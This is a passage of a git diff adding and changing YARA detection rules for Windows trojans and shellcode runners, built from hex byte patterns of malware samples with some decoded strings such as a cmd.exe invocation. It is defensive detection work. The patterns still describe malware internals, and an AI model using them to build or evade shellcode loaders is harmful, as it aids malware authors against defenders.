/dev/null +++ b/Trojan/Win64/Sainbox/Trojan_Win64_Sainbox_C.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_Sainbox_C{ + meta: + description = "Trojan:Win64/Sainbox.C,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 05 00 00 " + + strings : + $a_01_0 = {5c 00 5c 00 2e 00 5c 00 54 00 72 00 75 00 65 00 53 00 69 00 67 00 68 00 74 00 } //10 \\.\TrueSight + $a_03_1 = {ba 44 e0 22 00 48 8b cb ?? e8 } //10 + $a_03_2 = {45 88 54 06 ff 90 0a 1a 00 83 fd 04 } //10 + $a_01_3 = {83 fd 0a e9 00 00 00 00 0f 8d 0d 00 00 00 83 ed 03 e9 00 00 00 00 } //1 + $a_01_4 = {83 fd 0a 0f 8d 0d 00 00 00 83 ed 03 e9 00 00 00 00 e9 } //1 + condition: + ((#a_01_0 & 1)*10+(#a_03_1 & 1)*10+(#a_03_2 & 1)*10+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=31 + +} \ No newline at end of file diff --git a/Trojan/Win64/SaltyClank/Trojan_Win64_SaltyClank_A.yar b/Trojan/Win64/SaltyClank/Trojan_Win64_SaltyClank_A.yar new file mode 100644 index 0000000000..28a701ec8d --- /dev/null +++ b/Trojan/Win64/SaltyClank/Trojan_Win64_SaltyClank_A.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_SaltyClank_A{ + meta: + description = "Trojan:Win64/SaltyClank.A,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {43 6f 75 6c 64 6e 27 74 20 65 78 74 72 61 63 74 20 6b 65 79 20 2d 20 63 6f 72 72 75 70 74 65 64 20 66 69 6c 65 3f 0a 00 } //1 + $a_01_1 = {49 6e 76 61 6c 69 64 20 61 72 67 75 6d 65 6e 74 2e 0a 00 } //1 + $a_01_2 = {63 6d 64 2e 65 78 65 20 2f 65 3a 4f 4e 20 2f 76 3a 4f 46 46 20 2f 64 20 2f 63 } //1 cmd.exe /e:ON /v:OFF /d /c + $a_01_3 = {43 3a 5c 55 73 65 72 73 5c 6c 75 63 61 6b 5c 2e 63 61 72 67 6f } //1 C:\Users\lucak\.cargo + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/ScarletFlash/Trojan_Win64_ScarletFlash_ASA_MTB.yar b/Trojan/Win64/ScarletFlash/Trojan_Win64_ScarletFlash_ASA_MTB.yar deleted file mode 100644 index 3e3a69d433..0000000000 --- a/Trojan/Win64/ScarletFlash/Trojan_Win64_ScarletFlash_ASA_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win64_ScarletFlash_ASA_MTB{ - meta: - description = "Trojan:Win64/ScarletFlash.ASA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_01_0 = {45 33 c9 48 8d 15 fa 04 0d 00 41 83 c8 ff 48 8d 0d e7 04 0d 00 ff 15 } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win64/Selune/Trojan_Win64_Selune_A.yar b/Trojan/Win64/Selune/Trojan_Win64_Selune_A.yar new file mode 100644 index 0000000000..b06e2dc054 --- /dev/null +++ b/Trojan/Win64/Selune/Trojan_Win64_Selune_A.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win64_Selune_A{ + meta: + description = "Trojan:Win64/Selune.A,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 00 " + + strings : + $a_01_0 = {00 54 68 65 20 6e 75 6d 62 65 72 20 69 73 3a 20 25 6c 6c 64 00 } //1 + $a_01_1 = {00 66 61 69 6c 65 64 20 74 6f 20 72 65 61 64 20 66 69 6c 65 21 0a 00 } //1 + $a_01_2 = {00 64 65 63 72 79 70 74 20 66 61 69 6c 65 64 3a 20 25 73 0a 00 } //1 + $a_01_3 = {00 61 76 75 70 64 61 74 65 2e 64 6c 6c 00 } //1 + $a_01_4 = {00 57 43 42 43 63 62 74 63 2e 64 6c 6c 00 } //1 + $a_01_5 = {00 56 42 6f 78 53 65 72 76 69 63 65 2e 65 78 65 00 } //1 + $a_01_6 = {00 56 42 6f 78 54 72 61 79 2e 65 78 65 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellInject/Trojan_Win64_ShellInject_DB_MTB.yar b/Trojan/Win64/ShellInject/Trojan_Win64_ShellInject_DB_MTB.yar new file mode 100644 index 0000000000..0cbad6df9b --- /dev/null +++ b/Trojan/Win64/ShellInject/Trojan_Win64_ShellInject_DB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_ShellInject_DB_MTB{ + meta: + description = "Trojan:Win64/ShellInject.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 00 " + + strings : + $a_81_0 = {53 68 65 6c 6c 63 6f 64 65 4c 6f 61 64 65 72 } //10 ShellcodeLoader + $a_81_1 = {59 77 41 59 77 41 6f 6e 76 73 67 48 55 62 6e 6f 59 77 41 6f 6e 76 73 67 48 55 62 6e 6e 76 73 67 48 55 62 6e } //10 YwAYwAonvsgHUbnoYwAonvsgHUbnnvsgHUbn + $a_81_2 = {73 6d 61 72 74 73 63 72 65 65 6e } //1 smartscreen + condition: + ((#a_81_0 & 1)*10+(#a_81_1 & 1)*10+(#a_81_2 & 1)*1) >=21 + +} \ No newline at end of file diff --git a/Trojan/Win64/Shellcode/Trojan_Win64_Shellcode_MX_MTB.yar b/Trojan/Win64/Shellcode/Trojan_Win64_Shellcode_MX_MTB.yar new file mode 100644 index 0000000000..09de712f68 --- /dev/null +++ b/Trojan/Win64/Shellcode/Trojan_Win64_Shellcode_MX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Shellcode_MX_MTB{ + meta: + description = "Trojan:Win64/Shellcode.MX!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 31 ca 48 31 c9 48 ff c8 88 02 48 31 fa 48 ff c3 48 39 f3 } //1 + $a_01_1 = {68 00 65 00 6c 00 6c 00 6f 00 5f 00 69 00 6d 00 5f 00 73 00 69 00 69 00 } //1 hello_im_sii + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeInject/Trojan_Win64_ShellcodeInject_ADG_MTB.yar b/Trojan/Win64/ShellcodeInject/Trojan_Win64_ShellcodeInject_ADG_MTB.yar deleted file mode 100644 index a947512ccc..0000000000 --- a/Trojan/Win64/ShellcodeInject/Trojan_Win64_ShellcodeInject_ADG_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win64_ShellcodeInject_ADG_MTB{ - meta: - description = "Trojan:Win64/ShellcodeInject.ADG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_01_0 = {81 e1 20 83 b8 ed 33 ca 8b d1 d1 e9 41 23 d5 f7 da 81 e2 20 83 b8 ed 33 d1 41 0f b6 09 } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeLoader/Trojan_Win64_ShellcodeLoader_AJZ_MTB.yar b/Trojan/Win64/ShellcodeLoader/Trojan_Win64_ShellcodeLoader_AJZ_MTB.yar new file mode 100644 index 0000000000..cb3f3e4a88 --- /dev/null +++ b/Trojan/Win64/ShellcodeLoader/Trojan_Win64_ShellcodeLoader_AJZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeLoader_AJZ_MTB{ + meta: + description = "Trojan:Win64/ShellcodeLoader.AJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {48 89 c8 49 f7 e0 48 c1 ea 03 48 8d 04 92 48 89 ca 48 01 c0 48 29 c2 41 0f b6 04 11 30 04 0e 48 83 c1 01 48 81 f9 00 02 00 00 75 d4 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeLoader/Trojan_Win64_ShellcodeLoader_MKV_MTB.yar b/Trojan/Win64/ShellcodeLoader/Trojan_Win64_ShellcodeLoader_MKV_MTB.yar new file mode 100644 index 0000000000..3e3370b73e --- /dev/null +++ b/Trojan/Win64/ShellcodeLoader/Trojan_Win64_ShellcodeLoader_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeLoader_MKV_MTB{ + meta: + description = "Trojan:Win64/ShellcodeLoader.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 1e 32 18 48 8b 95 58 02 00 00 48 83 ec 20 48 89 f9 e8 12 a3 00 00 48 83 c4 20 88 18 48 8b 9d ?? ?? ?? ?? 48 83 c3 01 b8 56 e9 d3 fd 3d e3 8d 0c 15 0f 8e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_GZN_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_GZN_MTB.yar new file mode 100644 index 0000000000..c208cc2672 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_GZN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellCodeRunner_GZN_MTB{ + meta: + description = "Trojan:Win64/ShellCodeRunner.GZN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {c6 44 24 30 4c c6 44 24 31 6f c6 44 24 32 61 c6 44 24 33 64 c6 44 24 34 4c c6 44 24 35 69 c6 44 24 36 62 c6 44 24 37 72 c6 44 24 38 61 c6 44 24 39 72 c6 44 24 3a 79 c6 44 24 3b 41 c6 44 24 3c 00 c6 44 24 40 47 c6 44 24 41 65 c6 44 24 42 74 c6 44 24 43 50 c6 44 24 44 72 c6 44 24 45 6f c6 44 24 46 63 c6 44 24 47 41 c6 44 24 48 64 c6 44 24 49 64 c6 44 24 4a 72 c6 44 24 4b 65 c6 44 24 4c 73 c6 44 24 4d 73 c6 44 24 4e 00 c6 44 24 28 57 c6 44 24 29 69 c6 44 24 2a 6e c6 44 24 2b 45 c6 44 24 2c 78 c6 44 24 2d 65 c6 44 24 2e 63 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_KAB_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_KAB_MTB.yar new file mode 100644 index 0000000000..4fa758f059 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_KAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellCodeRunner_KAB_MTB{ + meta: + description = "Trojan:Win64/ShellCodeRunner.KAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 01 00 00 " + + strings : + $a_01_0 = {48 89 c2 48 8d 45 a0 b9 20 08 00 00 4c 8b 00 4c 89 02 41 89 c8 49 01 d0 4d 8d 48 08 41 89 c8 49 01 c0 49 83 c0 08 4d 8b 40 f0 4d 89 41 f0 4c 8d 42 08 49 83 e0 f8 4c 29 c2 48 29 d0 01 d1 83 e1 f8 c1 e9 03 89 ca 89 d2 4c 89 c7 48 89 c6 48 89 d1 f3 48 a5 } //20 + condition: + ((#a_01_0 & 1)*20) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_KAC_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_KAC_MTB.yar new file mode 100644 index 0000000000..2a91974585 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_KAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellCodeRunner_KAC_MTB{ + meta: + description = "Trojan:Win64/ShellCodeRunner.KAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 01 00 00 " + + strings : + $a_03_0 = {48 8d 55 a0 48 8b 85 ?? ?? 00 00 48 01 d0 0f b6 00 48 8b 8d ?? ?? 00 00 48 8b 95 ?? ?? 00 00 48 01 ca 32 85 ?? ?? 00 00 88 02 } //20 + condition: + ((#a_03_0 & 1)*20) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_KKB_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_KKB_MTB.yar new file mode 100644 index 0000000000..672d1f6e66 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_KKB_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_ShellCodeRunner_KKB_MTB{ + meta: + description = "Trojan:Win64/ShellCodeRunner.KKB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 04 00 00 " + + strings : + $a_01_0 = {48 89 c2 48 8d 45 a0 b9 3a 08 00 00 4c 8b 00 4c 89 02 41 89 c8 49 01 d0 4d 8d 48 08 41 89 c8 49 01 c0 49 83 c0 08 4d 8b 40 f0 4d 89 41 f0 4c 8d 42 08 49 83 e0 f8 4c 29 c2 48 29 d0 01 d1 83 e1 f8 c1 e9 03 89 ca 89 d2 4c 89 c7 48 89 c6 48 89 d1 f3 48 a5 } //10 + $a_01_1 = {8b 85 fc 07 00 00 48 98 0f b6 44 05 a0 8b 95 fc 07 00 00 48 63 ca 48 8b 95 f0 07 00 00 48 01 ca 32 85 fb 07 00 00 88 02 83 85 fc 07 00 00 01 8b 85 fc 07 00 00 3d 39 08 00 00 76 } //10 + $a_03_2 = {41 b9 40 00 00 00 41 b8 00 30 00 00 ba 3a 08 00 00 b9 00 00 00 00 48 8b 05 ?? ?? ?? ?? ff d0 48 89 85 } //3 + $a_03_3 = {48 89 84 24 87 00 00 00 48 b8 41 64 64 72 65 73 73 00 48 89 84 24 8e 00 00 00 c7 84 24 81 00 00 00 ?? ?? ?? ?? 66 c7 84 24 85 00 00 00 70 00 48 b8 45 78 69 74 50 72 6f 63 48 89 44 24 75 c7 44 24 7d ?? ?? ?? ?? 48 b8 57 73 32 5f 33 32 2e 64 48 89 44 24 6a c7 44 24 71 ?? ?? ?? ?? 48 b8 57 53 41 } //2 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_03_2 & 1)*3+(#a_03_3 & 1)*2) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_MX_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_MX_MTB.yar new file mode 100644 index 0000000000..515436e9a3 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_MX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellCodeRunner_MX_MTB{ + meta: + description = "Trojan:Win64/ShellCodeRunner.MX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {12 01 00 4c 8b c7 48 8b d3 8b 08 e8 ?? 9a ff ff 8b d8 e8 61 05 00 00 84 c0 74 55 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_NS_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_NS_MTB.yar index e7992e7972..fbd15adc3c 100644 --- a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_NS_MTB.yar +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_NS_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win64_ShellCodeRunner_NS_MTB{ + meta: + description = "Trojan:Win64/ShellCodeRunner.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {41 8b e8 45 33 c0 48 85 ed 74 4e 43 0f b7 34 44 49 3b f1 75 37 47 8b 5c 85 00 4d 03 da 33 ff eb 16 8b d7 8b c7 c1 e0 19 d3 ea } //3 + $a_01_1 = {45 84 ff 75 e2 3b 7c 24 40 75 07 41 8b 1c b6 49 03 da 49 ff c0 4c 3b c5 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} +rule Trojan_Win64_ShellCodeRunner_NS_MTB_2{ meta: description = "Trojan:Win64/ShellCodeRunner.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " @@ -10,7 +21,7 @@ rule Trojan_Win64_ShellCodeRunner_NS_MTB{ ((#a_03_0 & 1)*3+(#a_03_1 & 1)*3) >=6 } -rule Trojan_Win64_ShellCodeRunner_NS_MTB_2{ +rule Trojan_Win64_ShellCodeRunner_NS_MTB_3{ meta: description = "Trojan:Win64/ShellCodeRunner.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_ZZ_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_ZZ_MTB.yar index 6f88f03d37..47822446e5 100644 --- a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_ZZ_MTB.yar +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellCodeRunner_ZZ_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win64_ShellCodeRunner_ZZ_MTB{ + meta: + description = "Trojan:Win64/ShellCodeRunner.ZZ!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 85 c0 48 89 c3 0f 84 45 01 00 00 49 89 c4 48 89 c5 66 0f ef c0 48 01 be 80 20 00 00 49 c1 fc 15 0f 29 40 10 48 c1 fd 0c 48 89 78 08 48 c7 00 01 00 00 00 41 0f b6 c4 4c 8d 2c c6 49 8b 95 a8 20 00 00 48 85 d2 75 14 eb 4a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win64_ShellCodeRunner_ZZ_MTB_2{ meta: description = "Trojan:Win64/ShellCodeRunner.ZZ!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_AHB_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_AHB_MTB.yar new file mode 100644 index 0000000000..4b2a95ad4e --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_AHB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_ShellcodeRunner_AHB_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 03 00 00 " + + strings : + $a_01_0 = {48 89 85 88 00 00 00 48 8d 55 28 48 8d 4d 58 ff 95 88 00 00 00 } //10 + $a_03_1 = {c7 45 04 00 00 00 00 8b 85 ?? ?? 00 00 89 45 28 8b 85 98 01 00 00 89 45 2c 48 8b 85 90 00 } //5 + $a_01_2 = {73 50 61 79 6c 6f 61 64 53 69 7a 65 00 00 00 00 70 50 61 79 6c 6f 61 64 44 61 74 61 } //1 + condition: + ((#a_01_0 & 1)*10+(#a_03_1 & 1)*5+(#a_01_2 & 1)*1) >=16 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_AHC_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_AHC_MTB.yar new file mode 100644 index 0000000000..8c180580ff --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_AHC_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_ShellcodeRunner_AHC_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.AHC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 04 00 00 " + + strings : + $a_03_0 = {b9 04 01 00 00 48 89 c7 48 89 d6 f3 48 a5 c6 85 ?? 07 00 00 42 48 c7 85 ?? 07 00 00 20 08 00 00 48 8b 85 ?? 07 00 00 41 b9 40 00 00 00 41 b8 00 30 00 00 } //20 + $a_01_1 = {b9 04 01 00 00 48 89 c7 48 89 d6 f3 48 a5 48 b8 01 02 03 04 05 06 07 08 48 ba 09 0a 0b 0c 0d 0e 0f 10 } //20 + $a_03_2 = {48 01 d0 0f b6 00 48 8b 8d ?? 07 00 00 48 8b 95 ?? 07 00 00 48 01 ca 32 85 ?? 07 00 00 88 02 } //30 + $a_01_3 = {8b 85 7c 08 00 00 48 98 0f b6 44 05 30 32 85 57 08 00 00 89 c2 8b 85 7c 08 00 00 48 98 88 54 05 30 } //30 + condition: + ((#a_03_0 & 1)*20+(#a_01_1 & 1)*20+(#a_03_2 & 1)*30+(#a_01_3 & 1)*30) >=50 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_ALV_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_ALV_MTB.yar new file mode 100644 index 0000000000..304d3ce9ee --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_ALV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_ALV_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.ALV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {41 ff c1 49 63 c9 48 8d 95 ?? ?? ?? ?? 48 03 d1 0f b6 0a 41 88 0b 44 88 02 45 02 03 41 0f b6 d0 44 0f b6 84 15 ?? ?? ?? ?? 45 30 02 49 ff c2 48 83 eb 01 75 92 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_BOF_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_BOF_MTB.yar new file mode 100644 index 0000000000..768a74a7c1 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_BOF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_BOF_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.BOF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 2d 70 08 00 00 0f b6 00 48 8b 95 08 08 00 00 48 89 d1 48 0f af 8d e8 07 00 00 48 8b 95 00 08 00 00 48 01 d1 48 8b 95 d0 07 00 00 48 01 ca 32 85 ff 07 00 00 88 02 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_C_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_C_MTB.yar new file mode 100644 index 0000000000..187648f7b5 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_C_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_C_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 0c 07 30 08 48 8d 40 01 48 83 ea 01 75 ?? eb ?? f3 0f 6f 03 f3 0f 6f 0e 0f 57 c8 f3 0f 7f 0b 48 83 c3 ?? 49 83 c6 ?? 48 83 ef ?? 48 83 c5 ?? 0f 11 36 49 83 ef } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_DEL_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_DEL_MTB.yar new file mode 100644 index 0000000000..3d97867704 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_DEL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_DEL_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.DEL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {41 f7 e8 41 03 d0 c1 fa 05 8b c2 c1 e8 1f 03 d0 0f be c2 6b c8 33 41 0f b6 c0 41 ff c0 2a c1 04 38 41 30 41 ff 41 83 f8 0e 7c } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_GFN_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_GFN_MTB.yar new file mode 100644 index 0000000000..ff3588edbb --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_GFN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_GFN_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.GFN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {f7 e9 03 d1 c1 fa 05 8b c2 c1 e8 1f 03 d0 0f be c2 6b d0 3a 0f b6 ?? 2a c2 04 32 41 30 00 ff c1 4d 8d 40 01 83 f9 0f 7c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_MLD_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_MLD_MTB.yar new file mode 100644 index 0000000000..e8ae2f3620 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_MLD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_MLD_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.MLD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 d0 0f b6 c0 48 98 0f b6 44 05 a0 88 85 fe 10 00 00 48 8d 95 d0 08 00 00 48 8b 85 ?? 11 00 00 48 01 d0 0f b6 00 32 85 fe 10 00 00 48 8d 8d a0 00 00 00 48 8b 95 ?? 11 00 00 48 01 ca 88 02 48 83 85 ?? 11 00 00 01 48 81 bd 38 11 00 00 1f 08 00 00 0f 86 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_MVC_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_MVC_MTB.yar new file mode 100644 index 0000000000..e07673f2d9 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_MVC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_MVC_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.MVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {4c 8b c0 33 d2 48 8b c3 48 ff c3 48 f7 f6 0f b6 0c 2a 41 30 08 48 8b cf e8 ?? ?? ?? ?? 48 3b d8 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_MZZ_MTB.yar b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_MZZ_MTB.yar new file mode 100644 index 0000000000..1ab2619b63 --- /dev/null +++ b/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_MZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ShellcodeRunner_MZZ_MTB{ + meta: + description = "Trojan:Win64/ShellcodeRunner.MZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 00 88 04 19 48 ff c1 48 ff ca 48 3b ce 72 ?? 49 8b cd 8d 41 01 30 04 19 48 ff c1 48 3b ce 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ShellcodeRunner/Trojan_Win64_ShellcodeRunner_PCP_MTB.yar 